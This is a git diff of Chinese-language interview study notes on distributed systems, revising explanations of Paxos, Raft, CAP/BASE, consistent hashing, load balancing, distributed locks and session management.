如下图,Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的提议请求,由于之前已经接收过 [n=4, v=5] 的提议,并且 n > 2,因此就抛弃该提议请求;Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的提议请求,因为之前接收的提议为 [n=2, v=8],并且 2 <= 4,因此就发送 [n=2, v=8] 的提议响应,设置当前接收的提议为 [n=4, v=5],并且保证以后不会再接受提议值小于 4 的提议。Acceptor Y 类似。
|
||||
如下图,Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的提议请求,由于之前已经接收过 [n=4, v=5] 的提议,并且 n > 2,因此就抛弃该提议请求;Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的提议请求,因为之前接收到的提议为 [n=2, v=8],并且 2 <= 4,因此就发送 [n=2, v=8] 的提议响应,设置当前接收到的提议为 [n=4, v=5],并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。
|
||||
|
||||
<div align="center"> <img src="../pics//9b829410-86c4-40aa-ba8d-9e8e26c0eeb8.jpg" width="600"/> </div><br>
|
||||
|
||||
当一个 Proposer 接收到超过一半 Acceptor 的提议响应时,就可以发送接受请求。
|
||||
|
||||
如下图,Proposer A 接受到两个提议响应之后,就发送 [n=2, v=8] 接受请求。该接受请求会被所有 Acceptor 丢弃,因为此时所有 Acceptor 都保证不接受提议值小于 4 的提议。Proposer B 过后也收到了两个提议响应,因此也开始发送接受请求。需要注意的是,接受请求的 v 需要取它收到的最大 v 值,也就是 8。因此它发送 [n=4, v=8] 的接受请求。
|
||||
Proposer A 接收到两个提议响应之后,就发送 [n=2, v=8] 接受请求。该接受请求会被所有 Acceptor 丢弃,因为此时所有 Acceptor 都保证不接受序号小于 4 的提议。
|
||||
|
||||
Proposer B 过后也收到了两个提议响应,因此也开始发送接受请求。需要注意的是,接受请求的 v 需要取它收到的最大 v 值,也就是 8。因此它发送 [n=4, v=8] 的接受请求。
|
||||
|
||||
<div align="center"> <img src="../pics//2c4556e4-0751-4377-ab08-e7b89d697ca7.png" width="400"/> </div><br>
|
||||
|
||||
Acceptor 接收到接受请求时,如果提议号大于等于该 Acceptor 承诺的最小提议号,那么就发送通知给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议,那么该提议的提议值就被 Paxos 选择出来。
|
||||
Acceptor 接收到接受请求时,如果序号大于等于该 Acceptor 承诺的最小序号,那么就发送通知给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议,那么该提议的提议值就被 Paxos 选择出来。
|
||||
|
||||
<div align="center"> <img src="../pics//8adb2591-d3f1-4632-84cb-823fb9c5eb09.jpg" width="500"/> </div><br>
|
||||
<div align="center"> <img src="../pics//8adb2591-d3f1-4632-84cb-823fb9c5eb09.jpg"/> </div><br>
|
||||
|
||||
## 约束条件
|
||||
|
||||
### 1. 正确性
|
||||
|
||||
只有一个提议值会生效。
|
||||
指只有一个提议值会生效。
|
||||
|
||||
因为 Paxos 协议要求每个生效的提议被多数 Acceptor 接收,并且 Acceptor 不会接受两个不同的提议,因此可以保证正确性。
|
||||
|
||||
### 2. 可终止性
|
||||
|
||||
最后总会有一个提议生效。
|
||||
指最后总会有一个提议生效。
|
||||
|
||||
Paxos 协议能够让 Proposer 发送的提议朝着能被大多数 Acceptor 接受的那个提议靠拢,因此能够保证可终止性。
|
||||
|
||||
# 三、Raft 协议
|
||||
|
||||
Raft 和 Poxas 类似,但是更容易理解,也更容易实现。
|
||||
Raft 和 Paxos 类似,但是更容易理解,也更容易实现。
|
||||
|
||||
Raft 主要是用来竞选主节点。
|
||||
|
||||
|
@ -12,6 +12,7 @@
|
||||
* [十一、一次只做一件事](#十一一次只做一件事)
|
||||
* [十二、用自然语言表述代码](#十二用自然语言表述代码)
|
||||
* [十三、减少代码量](#十三减少代码量)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
@ -340,3 +341,7 @@ public int findClostElement(int[] arr) {
|
||||
不要过度设计,编码过程会有很多变化,过度设计的内容到最后往往是无用的。
|
||||
|
||||
多用标准库实现。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- Dustin, Boswell, Trevor, 等. 编写可读代码的艺术 [M]. 机械工业出版社, 2012.
|
||||
|
@ -77,11 +77,11 @@
|
||||
|
||||
1. 强一致性:新数据写入之后,在任何数据副本上都能读取到最新值;
|
||||
2. 弱一致性:新数据写入之后,不能保证在数据副本上能读取到最新值;
|
||||
3. 最终一致性:新数据写入之后,只能保证过一了一个时间窗口才能读取到最新值;
|
||||
3. 最终一致性:新数据写入之后,只能保证过了一个时间窗口后才能在数据副本上读取到最新值;
|
||||
|
||||
### 4. 可扩展性
|
||||
|
||||
指系统通过扩展集群服务器规模来提高性能的能力。理想的分布式系统需要实现“线性可扩展”,即随着集群规模的增加,系统的整体性能也会线程增加。
|
||||
指系统通过扩展集群服务器规模来提高性能的能力。理想的分布式系统需要实现“线性可扩展”,即随着集群规模的增加,系统的整体性能也会线性增加。
|
||||
|
||||
# 二、数据分布
|
||||
|
||||
@ -93,9 +93,9 @@
|
||||
|
||||
传统的哈希分布算法存在一个问题:当节点数量变化时,也就是 N 值变化,那么几乎所有的数据都需要重新分布,将导致大量的数据迁移。
|
||||
|
||||
#### 一致性哈希
|
||||
**一致性哈希**
|
||||
|
||||
Distributed Hash Table(DHT):对于哈希空间 0\~2<sup>n</sup>,将该哈希空间看成一个哈希环,将每个节点都配置到哈希环上。每个数据对象通过哈希取模得到哈希值之后,存放到哈希环中顺时针方向第一个大于等于该哈希值的节点上。
|
||||
Distributed Hash Table(DHT):对于哈希空间 [0, 2<sup>n</sup>-1],将该哈希空间看成一个哈希环,将每个节点都配置到哈希环上。每个数据对象通过哈希取模得到哈希值之后,存放到哈希环中顺时针方向第一个大于等于该哈希值的节点上。
|
||||
|
||||
<div align="center"> <img src="../pics//d2d34239-e7c1-482b-b33e-3170c5943556.jpg"/> </div><br>
|
||||
|
||||
@ -109,7 +109,7 @@ Distributed Hash Table(DHT):对于哈希空间 0\~2<sup>n</sup>,将该
|
||||
|
||||
顺序分布的数据划分为多个连续的部分,按一定策略分布到不同节点上。例如下图中,User 表的主键范围为 1 \~ 7000,使用顺序分布可以将其划分成多个子表,对应的主键范围为 1 \~ 1000,1001 \~ 2000,...,6001 \~ 7000。
|
||||
|
||||
其中 Meta 表是为了支持更大的集群规模,它将原来的一层索引结分成两层,使用 Meta 表来维护 User 子表所在的节点,从而减轻 Root 节点的负担。
|
||||
引入 Meta 表是为了支持更大的集群规模,它将原来的一层索引结分成两层,Meta 维护着 User 子表所在的节点,从而减轻 Root 节点的负担。
|
||||
|
||||
<div align="center"> <img src="../pics//8f64e9c5-7682-4feb-9312-dea09514e160.jpg"/> </div><br>
|
||||
|
||||
@ -153,13 +153,15 @@ Distributed Hash Table(DHT):对于哈希空间 0\~2<sup>n</sup>,将该
|
||||
|
||||
在设计分布式系统时,需要根据实际需求弱化某一要求。因此就有了下图中的三种设计:CA、CP 和 AP。
|
||||
|
||||
<div align="center"> <img src="../pics//f50bc364-fdc2-4a46-9b8f-f8f5b6add3b8.jpg" width="300"/> </div><br>
|
||||
<div align="center"> <img src="../pics//992faced-afcf-414d-b801-9c16d6570fec.jpg" width="500"/> </div><br>
|
||||
|
||||
需要注意的是,分区容忍性必不可少,因为需要总是假设网络是不可靠的。因此实际上设计分布式系统需要在一致性和可用性之间做权衡。
|
||||
|
||||
# 六、BASE
|
||||
|
||||
BASE 是 Basically Available(基本可用)、Soft state(软状态)和 Eventually consistent(最终一致性)三个短语的缩写。BASE 理论是对 CAP 中一致性和可用性权衡的结果,是基于 CAP 定理逐步演化而来的。BASE 理论的核心思想是:即使无法做到强一致性,但每个应用都可以根据自身业务特点,采用适当的方式来使系统达到最终一致性。
|
||||
BASE 是 Basically Available(基本可用)、Soft State(软状态)和 Eventually Consistent(最终一致性)三个短语的缩写。BASE 理论是对 CAP 中一致性和可用性权衡的结果,是基于 CAP 定理逐步演化而来的。BASE 理论的核心思想是:即使无法做到强一致性,但每个应用都可以根据自身业务特点,采用适当的方式来使系统达到最终一致性。
|
||||
|
||||
<div align="center"> <img src="../pics//5930aeb8-847d-4e9f-a168-9334d7dec744.png" width="250"/> </div><br>
|
||||
|
||||
## 基本可用
|
||||
|
||||
@ -195,7 +197,7 @@ ACID 是传统数据库系统常用的设计理论,追求强一致性模型。
|
||||
|
||||
# 八、CDN 架构
|
||||
|
||||
CND 通过将内容发布到靠近用户的边缘节点,使不同地域的用户在访问相同网页时可以就近获取。不仅可以减轻服务器的负担,也可以提高用户的访问速度。
|
||||
通过将内容发布到靠近用户的边缘节点,使不同地域的用户在访问相同网页时可以就近获取。不仅可以减轻服务器的负担,也可以提高用户的访问速度。
|
||||
|
||||
从下图可以看出,DNS 在对域名解析时不再向用户返回源服务器的 IP 地址,而是返回边缘节点的 IP 地址,所以用户最终访问的是边缘节点。边缘节点会先从源服务器中获取用户所需的数据,如果请求成功,边缘节点会将页面缓存下来,下次用户访问时可以直接读取。
|
||||
|
||||
|
229
notes/分布式问题分析.md
@ -11,11 +11,10 @@
|
||||
* [使用场景](#使用场景)
|
||||
* [实现方式](#实现方式)
|
||||
* [五、分布式 Session](#五分布式-session)
|
||||
* [1. 粘性 Session](#1-粘性-session)
|
||||
* [2. 服务器 Session 复制](#2-服务器-session-复制)
|
||||
* [3. Session 共享机制](#3-session-共享机制)
|
||||
* [4. Session 持久化到数据库](#4-session-持久化到数据库)
|
||||
* [5. Terracotta 实现 Session 复制](#5-terracotta-实现-session-复制)
|
||||
* [1. Sticky Sessions](#1-sticky-sessions)
|
||||
* [2. Session Replication](#2-session-replication)
|
||||
* [3. Persistent DataStore](#3-persistent-datastore)
|
||||
* [4. In-Memory DataStore](#4-in-memory-datastore)
|
||||
* [六、分库与分表带来的分布式困境与应对之策](#六分库与分表带来的分布式困境与应对之策)
|
||||
* [事务问题](#事务问题)
|
||||
* [查询问题](#查询问题)
|
||||
@ -28,9 +27,9 @@
|
||||
|
||||
分布式主要是为了提供可扩展性以及高可用性,业务中使用分布式的场景主要有分布式存储以及分布式计算。
|
||||
|
||||
分布式存储中可以将数据分片到多个节点上,不仅可以提高性能(可扩展性),同时也可以使用多个节点对同一份数据进行备份。
|
||||
分布式存储中可以将数据分片到多个节点上,不仅可以提高性能(可扩展性),同时也可以使用多个节点对同一份数据进行备份(高可用性)。
|
||||
|
||||
至于分布式计算,就是将一个大的计算任务分解成小任务分配到多台节点上去执行,再汇总每个小任务的执行结果得到最终结果。MapReduce 是分布式计算的最好例子。
|
||||
至于分布式计算,就是将一个大的计算任务分解成小任务分配到多个节点上去执行,再汇总每个小任务的执行结果得到最终结果。MapReduce 是分布式计算最好的例子。
|
||||
|
||||
# 二、分布式事务
|
||||
|
||||
@ -43,46 +42,48 @@
|
||||
|
||||
## 应用场景
|
||||
|
||||
- 下单:减少库存、更新订单状态。库存和订单不在不同一个数据库,因此涉及分布式事务。
|
||||
- 支付:买家账户扣款、卖家账户入账。买家和卖家账户信息不在同一个数据库,因此涉及分布式事务。
|
||||
- 下单:减少库存、更新订单状态。库存和订单如果不在同一个数据库,就涉及分布式事务。
|
||||
- 支付:买家账户扣款、卖家账户入账。买家和卖家账户信息如果不在同一个数据库,就涉及分布式事务。
|
||||
|
||||
## 解决方案
|
||||
|
||||
### 1. 两阶段提交协议
|
||||
|
||||
[两阶段提交](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E4%B8%80%E8%87%B4%E6%80%A7%E5%8D%8F%E8%AE%AE.md#%E4%B8%A4%E9%98%B6%E6%AE%B5%E6%8F%90%E4%BA%A4%E5%8D%8F%E8%AE%AE)
|
||||
> [两阶段提交](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E4%B8%80%E8%87%B4%E6%80%A7%E5%8D%8F%E8%AE%AE.md#%E4%B8%A4%E9%98%B6%E6%AE%B5%E6%8F%90%E4%BA%A4%E5%8D%8F%E8%AE%AE)
|
||||
|
||||
两阶段提交协议可以很好得解决分布式事务问题,它可以使用 XA 来实现,XA 它包含两个部分:事务管理器和本地资源管理器。其中本地资源管理器往往由数据库实现,比如 Oracle、DB2 这些商业数据库都实现了 XA 接口;而事务管理器作为全局的协调者,负责各个本地资源的提交和回滚。
|
||||
两阶段提交协议可以很好地解决分布式事务问题。它可以使用 XA 来实现,XA 包含两个部分:事务管理器和本地资源管理器。其中本地资源管理器往往由数据库实现,比如 Oracle、DB2 这些商业数据库都实现了 XA 接口;而事务管理器作为全局的协调者,负责各个本地资源的提交和回滚。
|
||||
|
||||
### 2. 消息中间件
|
||||
|
||||
消息中间件也可称作消息系统 (MQ),它本质上是一个暂存转发消息的一个中间件。在分布式应用当中,我们可以把一个业务操作转换成一个消息,比如支付宝的余额转入余额宝操作,支付宝系统执行减少余额操作之后向消息系统发送一个消息,余额宝系统订阅这条消息然后进行增加余额宝操作。
|
||||
|
||||
**(一)消息处理模型**
|
||||
#### 2.1 消息处理模型
|
||||
|
||||
<font size=3> **点对点** </font></br>
|
||||
(一)消息队列
|
||||
|
||||
<div align="center"> <img src="../pics//96b63e13-e2d8-4ddb-9aa1-a38959ca96e5.jpg" width="600"/> </div><br>
|
||||
<div align="center"> <img src="../pics//96b63e13-e2d8-4ddb-9aa1-a38959ca96e5.jpg" width="700"/> </div><br>
|
||||
|
||||
<font size=3> **发布/订阅** </font></br>
|
||||
(二)发布/订阅
|
||||
|
||||
<div align="center"> <img src="../pics//654acfed-a6a5-4fc7-8f40-3fdcae57bae8.jpg" width="700"/> </div><br>
|
||||
|
||||
**(二)消息的可靠性**
|
||||
|
||||
消息的发送端的可靠性:发送端完成操作后一定能将消息成功发送到消息系统。
|
||||
#### 2.2 消息的可靠性
|
||||
|
||||
消息的接收端的可靠性:接收端仅且能够从消息中间件成功消费一次消息。
|
||||
(一)发送端的可靠性
|
||||
|
||||
<font size=3> **发送端的可靠性** </font></br>
|
||||
发送端完成操作后一定能将消息成功发送到消息系统。
|
||||
|
||||
在本地数据建一张消息表,将消息数据与业务数据保存在同一数据库实例里,这样就可以利用本地数据库的事务机制。事务提交成功后,将消息表中的消息转移到消息中间件,若转移消息成功则删除消息表中的数据,否则继续重传。
|
||||
实现方法:在本地数据库建一张消息表,将消息数据与业务数据保存在同一数据库实例里,这样就可以利用本地数据库的事务机制。事务提交成功后,将消息表中的消息转移到消息中间件,若转移消息成功则删除消息表中的数据,否则继续重传。
|
||||
|
||||
<font size=3> **接收端的可靠性** </font></br>
|
||||
(二)接收端的可靠性
|
||||
|
||||
保证接收端处理消息的业务逻辑具有幂等性:只要具有幂等性,那么消费多少次消息,最后处理的结果都是一样的。
|
||||
接收端能够从消息中间件成功消费一次消息。
|
||||
|
||||
保证消息具有唯一编号,并使用一张日志表来记录已经消费的消息编号。
|
||||
实现方法:
|
||||
|
||||
- 保证接收端处理消息的业务逻辑具有幂等性:只要具有幂等性,那么消费多少次消息,最后处理的结果都是一样的。
|
||||
- 保证消息具有唯一编号,并使用一张日志表来记录已经消费的消息编号。
|
||||
|
||||
# 三、负载均衡的算法与实现
|
||||
|
||||
@ -94,7 +95,7 @@
|
||||
|
||||
<div align="center"> <img src="../pics//2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg"/> </div><br>
|
||||
|
||||
该算法比较适合每个服务器的性能差不多的场景,如果有性能存在差异的情况下,那么性能较差的服务器可能无法承担多大的负载。下图中,服务器 2 的性能比服务器 1 差,那么服务器 2 可能无法承担多大的负载。
|
||||
该算法比较适合每个服务器的性能差不多的场景,如果有性能存在差异的情况下,那么性能较差的服务器可能无法承担多大的负载(下图的 Server 2)。
|
||||
|
||||
<div align="center"> <img src="../pics//f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg"/> </div><br>
|
||||
|
||||
@ -116,7 +117,7 @@
|
||||
|
||||
### 4. 加权最小连接(Weighted Least Connection)
|
||||
|
||||
在最小连接的基础上,根据服务器的性能为每台服务器分配权重,根据权重计算出每台服务器能处理的连接数。
|
||||
在最小连接的基础上,根据服务器的性能为每台服务器分配权重,再根据权重计算出每台服务器能处理的连接数。
|
||||
|
||||
<div align="center"> <img src="../pics//44edefb7-4b58-4519-b8ee-4aca01697b78.jpg"/> </div><br>
|
||||
|
||||
@ -126,47 +127,68 @@
|
||||
|
||||
<div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
|
||||
|
||||
### 6. 源地址哈希法 (IP Hash)
|
||||
|
||||
源地址哈希通过对客户端 IP 哈希计算得到的一个数值,用该数值对服务器数量进行取模运算,取模结果便是目标服务器的序号。
|
||||
|
||||
- 优点:保证同一 IP 的客户端都会被 hash 到同一台服务器上。
|
||||
- 缺点:不利于集群扩展,后台服务器数量变更都会影响 hash 结果。可以采用一致性 Hash 改进。
|
||||
|
||||
<div align="center"> <img src="../pics//2018040302.jpg"/> </div><br>
|
||||
|
||||
## 实现
|
||||
|
||||
### 1. DNS 解析
|
||||
|
||||
使用 DNS 作为负载均衡器,根据负载情况返回不同服务器的 IP 地址。大型网站基本使用了这种方式最为第一级负载均衡手段,然后在内部使用其它方式做第二级负载均衡。
|
||||
|
||||
<div align="center"> <img src="../pics//42e17a80-b9fc-42a2-9ba8-68364fae3710.jpg" width="500"/> </div><br>
|
||||
|
||||
### 2. 修改 MAC 地址
|
||||
|
||||
使用 LVS(Linux Virtual Server)这种链路层负载均衡器,根据负载情况修改请求的 MAC 地址。
|
||||
|
||||
<div align="center"> <img src="../pics//6fea6dd4-9232-4df8-abdf-f1b528a18b17.jpg" width="500"/> </div><br>
|
||||
|
||||
### 3. 修改 IP 地址
|
||||
|
||||
在网络层修改请求的目的 IP 地址。
|
||||
|
||||
<div align="center"> <img src="../pics//4ff7eacd-0081-452e-9686-60a81e11bf73.jpg" width="500"/> </div><br>
|
||||
|
||||
### 4. HTTP 重定向
|
||||
### 1. HTTP 重定向
|
||||
|
||||
HTTP 重定向负载均衡服务器收到 HTTP 请求之后会返回服务器的地址,并将该地址写入 HTTP 重定向响应中返回给浏览器,浏览器收到后需要再次发送请求。
|
||||
|
||||
<div align="center"> <img src="../pics//9208563b-014d-4745-aa1c-492c9f7f7a7f.jpg" width="500"/> </div><br>
|
||||
缺点:
|
||||
|
||||
### 5. 反向代理
|
||||
- 用户访问的延迟会增加;
|
||||
- 如果负载均衡器宕机,就无法访问该站点。
|
||||
|
||||
正向代理:发生在客户端,是由用户主动发起的。比如翻墙,客户端通过主动访问代理服务器,让代理服务器获得需要的外网数据,然后转发回客户端。
|
||||
<div align="center"> <img src="../pics//10bdf7bf-0daa-4a26-b927-f142b3f8e72b.png"/> </div><br>
|
||||
|
||||
反向代理:发生在服务器端,用户不知道代理的存在。
|
||||
### 2. DNS 重定向
|
||||
|
||||
<div align="center"> <img src="../pics//b750eb3e-8a80-475c-95df-2e971b277603.jpg" width="500"/> </div><br>
|
||||
使用 DNS 作为负载均衡器,根据负载情况返回不同服务器的 IP 地址。大型网站基本使用了这种方式做为第一级负载均衡手段,然后在内部使用其它方式做第二级负载均衡。
|
||||
|
||||
缺点:
|
||||
|
||||
- DNS 查找表可能会被客户端缓存起来,那么之后的所有请求都会被重定向到同一个服务器。
|
||||
|
||||
<div align="center"> <img src="../pics//f8b16d1e-7363-4544-94d6-4939fdf849dc.png"/> </div><br>
|
||||
|
||||
### 3. 修改 MAC 地址
|
||||
|
||||
使用 LVS(Linux Virtual Server)这种链路层负载均衡器,根据负载情况修改请求的 MAC 地址。
|
||||
|
||||
<div align="center"> <img src="../pics//f0e35b7a-2948-488a-a5a9-97d3f6b5e2d7.png"/> </div><br>
|
||||
|
||||
### 4. 修改 IP 地址
|
||||
|
||||
在网络层修改请求的目的 IP 地址。
|
||||
|
||||
<div align="center"> <img src="../pics//265a355d-aead-48aa-b455-f33b62fe729f.png"/> </div><br>
|
||||
|
||||
### 5. 代理自动配置
|
||||
|
||||
正向代理与反向代理的区别:
|
||||
|
||||
- 正向代理:发生在客户端,是由用户主动发起的。比如翻墙,客户端通过主动访问代理服务器,让代理服务器获得需要的外网数据,然后转发回客户端。
|
||||
- 反向代理:发生在服务器端,用户不知道代理的存在。
|
||||
|
||||
PAC 服务器是用来判断一个请求是否要经过代理。
|
||||
|
||||
<div align="center"> <img src="../pics//52e1af6f-3a7a-4bee-aa8f-fcb5dacebe40.jpg"/> </div><br>
|
||||
|
||||
# 四、分布式锁
|
||||
|
||||
Java 提供了两种内置的锁的实现,一种是由 JVM 实现的 synchronized 和 JDK 提供的 Lock,当你的应用是单机或者说单进程应用时,可以使用 synchronized 或 Lock 来实现锁。当应用涉及到多机、多进程共同完成时,那么这时候就需要一个全局锁来实现多个进程之间的同步。
|
||||
Java 提供了两种内置的锁的实现,一种是由 JVM 实现的 synchronized 和 JDK 提供的 Lock,对于单机单进程应用,可以使用它们来实现锁。当应用涉及到多机、多进程共同完成时,那么这时候就需要一个全局锁来实现多个进程之间的同步。
|
||||
|
||||
## 使用场景
|
||||
|
||||
在服务器端使用分布式部署的情况下,一个服务可能分布在不同的节点撒花姑娘,比如订单服务分布式在节点 A 和节点 B 上。如果多个客户端同时对一个服务进行请求时,就需要使用分布式锁。例如当 APP 端的请求路由到了节点 A,WEB 端被路由到了 B 服务,这时对共享资源进行使用时需要使用分布式锁。
|
||||
在服务器端使用分布式部署的情况下,一个服务可能分布在不同的节点上,比如订单服务分布在节点 A 和节点 B 上。如果多个客户端同时对一个服务进行请求时,就需要使用分布式锁。例如一个服务可以使用 APP 端或者 Web 端进行访问,如果一个用户同时使用 APP 端和 Web 端访问该服务,并且 APP 端的请求路由到了节点 A,WEB 端的请求被路由到了节点 B,这时候就需要使用分布式锁来进行同步。
|
||||
|
||||
## 实现方式
|
||||
|
||||
@ -174,7 +196,9 @@ Java 提供了两种内置的锁的实现,一种是由 JVM 实现的 synchroni
|
||||
|
||||
**(一)基于 MySQL 锁表**
|
||||
|
||||
该实现方式完全依靠数据库唯一索引来实现。当想要获得锁时,就向数据库中插入一条记录,释放锁时就删除这条记录。如果记录具有唯一索引,就不会同时插入同一条记录。这种方式存在以下几个问题:
|
||||
该实现完全依靠数据库的唯一索引。当想要获得锁时,就向数据库中插入一条记录,释放锁时就删除这条记录。如果记录具有唯一索引,就不会同时插入同一条记录。
|
||||
|
||||
这种方式存在以下几个问题:
|
||||
|
||||
1. 锁没有失效时间,解锁失败会导致死锁,其他线程无法再获得锁。
|
||||
2. 只能是非阻塞锁,插入失败直接就报错了,无法重试。
|
||||
@ -194,7 +218,7 @@ EXPIRE 可以为一个键值对设置一个过期时间,从而避免了死锁
|
||||
|
||||
**(二)RedLock 算法**
|
||||
|
||||
ReadLock 算法使用了多个 Redis 实例来实现分布式锁,这是为了保证在发生单点故障时还可用。
|
||||
RedLock 算法使用了多个 Redis 实例来实现分布式锁,这是为了保证在发生单点故障时还可用。
|
||||
|
||||
1. 尝试从 N 个相互独立 Redis 实例获取锁,如果一个实例不可用,应该尽快尝试下一个。
|
||||
2. 计算获取锁消耗的时间,只有当这个时间小于锁的过期时间,并且从大多数(N/2+1)实例上获取了锁,那么就认为锁获取成功了。
|
||||
@ -233,103 +257,41 @@ Zookeeper 提供了一种树形结构级的命名空间,/app1/p_1 节点表示
|
||||
|
||||
**(六)羊群效应**
|
||||
|
||||
在步骤二,一个节点未获得锁,需要监听监听自己的前一个子节点,这是因为如果监听所有的子节点,那么任意一个子节点状态改变,其它所有子节点都会收到通知,而我们只希望它的下一个子节点收到通知。
|
||||
在步骤二,一个节点未获得锁,需要监听监听自己的前一个子节点,这是因为如果监听所有的子节点,那么任意一个子节点状态改变,其它所有子节点都会收到通知(羊群效应),而我们只希望它的后一个子节点收到通知。
|
||||
|
||||
# 五、分布式 Session
|
||||
|
||||
如果不做任何处理的话,用户将出现频繁登录的现象,比如集群中存在 A、B 两台服务器,用户在第一次访问网站时,Nginx 通过其负载均衡机制将用户请求转发到 A 服务器,这时 A 服务器就会给用户创建一个 Session。当用户第二次发送请求时,Nginx 将其负载均衡到 B 服务器,而这时候 B 服务器并不存在 Session,所以就会将用户踢到登录页面。这将大大降低用户体验度,导致用户的流失,这种情况是项目绝不应该出现的。
|
||||
在分布式场景下,一个用户的 Session 如果只存储在一个服务器上,那么当负载均衡器把用户的下一个请求转发到另一个服务器上,该服务器没有用户的 Session,就可能导致用户需要重新进行登录等操作。
|
||||
|
||||
## 1. 粘性 Session
|
||||
<div align="center"> <img src="../pics//cookiedata.png"/> </div><br>
|
||||
|
||||
### 原理
|
||||
## 1. Sticky Sessions
|
||||
|
||||
粘性 Session 是指将用户锁定到某一个服务器上,比如上面说的例子,用户第一次请求时,负载均衡器将用户的请求转发到了 A 服务器上,如果负载均衡器设置了粘性 Session 的话,那么用户以后的每次请求都会转发到 A 服务器上,相当于把用户和 A 服务器粘到了一块,这就是粘性 Session 机制。
|
||||
需要配置负载均衡器,使得一个用户的所有请求都路由到一个服务器节点上,这样就可以把用户的 Session 存放在该服务器节点中。
|
||||
|
||||
### 优点
|
||||
缺点:当服务器节点宕机时,将丢失该服务器节点上的所有 Session。
|
||||
|
||||
简单,不需要对 Session 做任何处理。
|
||||
<div align="center"> <img src="../pics//MultiNode-StickySessions.jpg"/> </div><br>
|
||||
|
||||
### 缺点
|
||||
## 2. Session Replication
|
||||
|
||||
缺乏容错性,如果当前访问的服务器发生故障,用户被转移到第二个服务器上时,他的 Session 信息都将失效。
|
||||
在服务器节点之间进行 Session 同步操作,这样的话用户可以访问任何一个服务器节点。
|
||||
|
||||
### 适用场景
|
||||
缺点:需要更好的服务器硬件条件;需要对服务器进行配置。
|
||||
|
||||
- 发生故障对客户产生的影响较小;
|
||||
- 服务器发生故障是低概率事件。
|
||||
<div align="center"> <img src="../pics//MultiNode-SessionReplication.jpg"/> </div><br>
|
||||
|
||||
## 2. 服务器 Session 复制
|
||||
## 3. Persistent DataStore
|
||||
|
||||
### 原理
|
||||
将 Session 信息持久化到一个数据库中。
|
||||
|
||||
任何一个服务器上的 Session 发生改变,该节点会把这个 Session 的所有内容序列化,然后广播给所有其它节点,不管其他服务器需不需要 Session,以此来保证 Session 同步。
|
||||
缺点:有可能需要去实现存取 Session 的代码。
|
||||
|
||||
### 优点
|
||||
<div align="center"> <img src="../pics//MultiNode-SpringSession.jpg"/> </div><br>
|
||||
|
||||
可容错,各个服务器间 Session 能够实时响应。
|
||||
## 4. In-Memory DataStore
|
||||
|
||||
### 缺点
|
||||
|
||||
会对网络负荷造成一定压力,如果 Session 量大的话可能会造成网络堵塞,拖慢服务器性能。
|
||||
|
||||
### 实现方式
|
||||
|
||||
1. 设置 Tomcat 的 server.xml 开启 tomcat 集群功能。
|
||||
2. 在应用里增加信息:通知应用当前处于集群环境中,支持分布式,即在 web.xml 中添加<distributable/> 选项。
|
||||
|
||||
## 3. Session 共享机制
|
||||
|
||||
使用分布式缓存方案比如 Memcached、Redis,但是要求 Memcached 或 Redis 必须是集群。
|
||||
|
||||
使用 Session 共享也分两种机制,两种情况如下:
|
||||
|
||||
### 3.1 粘性 Session 共享机制
|
||||
|
||||
和粘性 Session 一样,一个用户的 Session 会绑定到一个 Tomcat 上。Memcached 只是起到备份作用。
|
||||
|
||||
<div align="center"> <img src="../pics//93a28704-6401-4671-9758-051fadfbeb47.jpg" width="400"/> </div><br>
|
||||
|
||||
### 3.2 非粘性 Session 共享机制
|
||||
|
||||
#### 原理
|
||||
|
||||
Tomcat 本身不存储 Session,而是存入 Memcached 中。Memcached 集群构建主从复制架构。
|
||||
|
||||
<div align="center"> <img src="../pics//ce0fa5d0-866b-46e6-a873-8eb1f78c2882.jpg" width="400"/> </div><br>
|
||||
|
||||
#### 优点
|
||||
|
||||
可容错,Session 实时响应。
|
||||
|
||||
#### 实现方式
|
||||
|
||||
用开源的 msm 插件解决 Tomcat 之间的 Session 共享:Memcached_Session_Manager(MSM)
|
||||
|
||||
## 4. Session 持久化到数据库
|
||||
|
||||
### 原理
|
||||
|
||||
拿出一个数据库,专门用来存储 Session 信息。保证 Session 的持久化。
|
||||
|
||||
### 优点
|
||||
|
||||
服务器出现问题,Session 不会丢失
|
||||
|
||||
### 缺点
|
||||
|
||||
如果网站的访问量很大,把 Session 存储到数据库中,会对数据库造成很大压力,还需要增加额外的开销维护数据库。
|
||||
|
||||
## 5. Terracotta 实现 Session 复制
|
||||
|
||||
### 原理
|
||||
|
||||
Terracotta 的基本原理是对于集群间共享的数据,当在一个节点发生变化的时候,Terracotta 只把变化的部分发送给 Terracotta 服务器,然后由服务器把它转发给真正需要这个数据的节点。它是服务器 Session 复制的优化。
|
||||
|
||||
<div align="center"> <img src="../pics//b6acae0d-7148-41de-adc3-ff5ff8dca3ae.jpg"/> </div><br>
|
||||
|
||||
### 优点
|
||||
|
||||
这样对网络的压力就非常小,各个节点也不必浪费 CPU 时间和内存进行大量的序列化操作。把这种集群间数据共享的机制应用在 Session 同步上,既避免了对数据库的依赖,又能达到负载均衡和灾难恢复的效果。
|
||||
可以使用 Redis 和 Memcached 这种内存型数据库对 Session 进行存储,可以大大提高 Session 的读写效率。内存型数据库同样可以持久化数据到磁盘中来保证数据的安全性。
|
||||
|
||||
# 六、分库与分表带来的分布式困境与应对之策
|
||||
|
||||
@ -353,6 +315,9 @@ Terracotta 的基本原理是对于集群间共享的数据,当在一个节点
|
||||
|
||||
- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
|
||||
- [负载均衡算法及手段](https://segmentfault.com/a/1190000004492447)
|
||||
- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
|
||||
- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)
|
||||
